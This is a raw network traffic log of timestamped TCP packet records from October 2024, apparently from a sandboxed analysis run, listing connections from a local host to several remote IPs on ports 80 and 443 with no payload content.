Oct 30, 2024 07:53:08.759366035 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760090113 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760102987 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760113955 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760140896 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760144949 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760157108 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760169029 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760173082 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760181904 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760190010 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760194063 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760206938 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760207891 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760220051 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760232925 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760245085 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760926962 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760973930 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.760977030 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.760986090 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.761015892 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.761023045 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.761028051 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.761044025 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.761054993 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.761065960 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.761073112 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.763178110 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.763221979 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.763228893 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.763238907 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.763250113 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.763261080 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.763266087 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.763287067 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.763297081 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874639034 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874656916 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874685049 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874695063 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874701023 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874711990 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874741077 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874752045 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874764919 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874780893 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874836922 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874836922 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874854088 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874869108 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874895096 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874908924 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874916077 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874927998 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874943972 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.874949932 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874969006 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.874991894 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875003099 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875015974 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875030994 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875040054 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875072956 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875108004 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875138044 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875149965 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875170946 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875171900 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875181913 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875194073 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875205994 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875215054 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875256062 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875343084 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875355005 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875365973 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875386953 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875396967 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875406027 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875408888 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875421047 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875432968 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875439882 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875444889 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.875458002 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875472069 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.875488043 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.876173973 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876184940 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876195908 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876226902 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876235008 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.876239061 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876250029 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876260042 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.876260996 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876272917 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:08.876279116 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.876296043 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:08.876313925 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:13.548230886 CET	80	49165	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:13.548325062 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:13.953406096 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:13.953469992 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:13.953543901 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.014446974 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.014491081 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:14.631819963 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:14.631889105 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.633970976 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.633990049 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:14.640515089 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.640541077 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:14.903239965 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:14.903333902 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.903352976 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:14.903367043 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:14.903398991 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.903415918 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.911922932 CET	49166	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:14.911941051 CET	443	49166	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:15.872492075 CET	49167	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:15.872529984 CET	443	49167	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:15.872561932 CET	49168	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:15.872602940 CET	49167	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:15.873574018 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:15.873599052 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:15.873660088 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:15.877996922 CET	80	49168	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:15.878061056 CET	49168	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:15.967746019 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:15.967781067 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:15.967807055 CET	49167	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:15.967828989 CET	443	49167	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:16.577486992 CET	443	49167	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:16.577552080 CET	49167	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:16.583328009 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:16.583415031 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:16.773572922 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:16.773592949 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:16.773997068 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:16.774084091 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:17.717184067 CET	49167	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:17.717200041 CET	443	49167	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:17.717628956 CET	443	49167	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:17.717715025 CET	49167	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:17.823329926 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:17.827095032 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:17.827136993 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:17.827192068 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:17.871324062 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:17.880599976 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:17.880618095 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:18.079965115 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:18.080029964 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:18.080043077 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:18.080051899 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:18.080108881 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:18.080108881 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:18.082510948 CET	49169	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:18.082525969 CET	443	49169	104.21.74.191	192.168.2.22
Oct 30, 2024 07:53:18.083993912 CET	49168	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:18.084245920 CET	49171	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:18.090598106 CET	80	49168	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:18.090657949 CET	49168	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:18.090846062 CET	80	49171	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:18.090902090 CET	49171	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:18.091068983 CET	49171	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:18.096769094 CET	80	49171	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:18.735635042 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:18.735698938 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:18.736440897 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:18.736484051 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:18.740911007 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:18.740921021 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:18.741225958 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:18.743153095 CET	80	49171	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:18.743228912 CET	49171	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:18.897320986 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:18.939337015 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:19.266680002 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:19.389170885 CET	443	49170	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:19.389234066 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:19.406789064 CET	49170	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:19.526540995 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:19.526566982 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:19.526664019 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:19.527309895 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:19.527323008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:20.380563974 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:20.380661011 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:20.392047882 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:20.392062902 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:20.392438889 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:20.395169020 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:20.439323902 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:21.575476885 CET	49165	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:22.607640982 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.607736111 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.615920067 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.615987062 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.724567890 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.724627018 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.724648952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.724663019 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.724675894 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.724776983 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.727397919 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.727466106 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.727473021 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.731656075 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.731719971 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.731724977 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.740608931 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.740690947 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.740698099 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.749222040 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.749262094 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.749268055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.757879019 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.757926941 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.757936001 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.766788006 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.766973019 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.766978979 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.775525093 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.775574923 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.775590897 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.784493923 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.784610033 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.784615993 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842164993 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842206955 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842236042 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842253923 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.842267036 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842279911 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.842307091 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842350006 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.842365026 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842787981 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.842888117 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.842894077 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.844408989 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.844505072 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.844508886 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.844515085 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.844552994 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.844558001 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.848761082 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.848826885 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.848834038 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.850465059 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.850534916 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.850541115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.855290890 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.855479002 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.857454062 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.857934952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.857990026 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.857996941 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.862458944 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.862549067 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.862555981 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.868047953 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.868133068 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.868138075 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.873718977 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.873850107 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.873856068 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.879380941 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.879511118 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.879517078 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.885020018 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.885103941 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.885103941 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.885112047 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.885313988 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.890739918 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.896411896 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.896445990 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.896497011 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.896503925 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.896543026 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.902112007 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.907713890 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.907743931 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.908324003 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.908339024 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.913564920 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.914428949 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.914447069 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.919095039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.923590899 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.923604012 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.939636946 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.939636946 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.958714008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.958818913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.958853960 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.958997965 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.959008932 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.959256887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.959292889 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.959305048 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.959311008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.959995985 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.960081100 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.960105896 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.960110903 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.960174084 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.960180998 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.960191011 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.960237980 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.960242987 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.963406086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.963454962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.963637114 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.963648081 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.968121052 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.971381903 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.971390009 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.973167896 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.974500895 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.974510908 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.978012085 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.981163979 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.981208086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.981220961 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.981234074 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.983340025 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.984261036 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.987262964 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.987297058 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.987390041 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.987399101 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.990200996 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.993113041 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.993148088 CET	443	49172	142.250.185.97	192.168.2.22
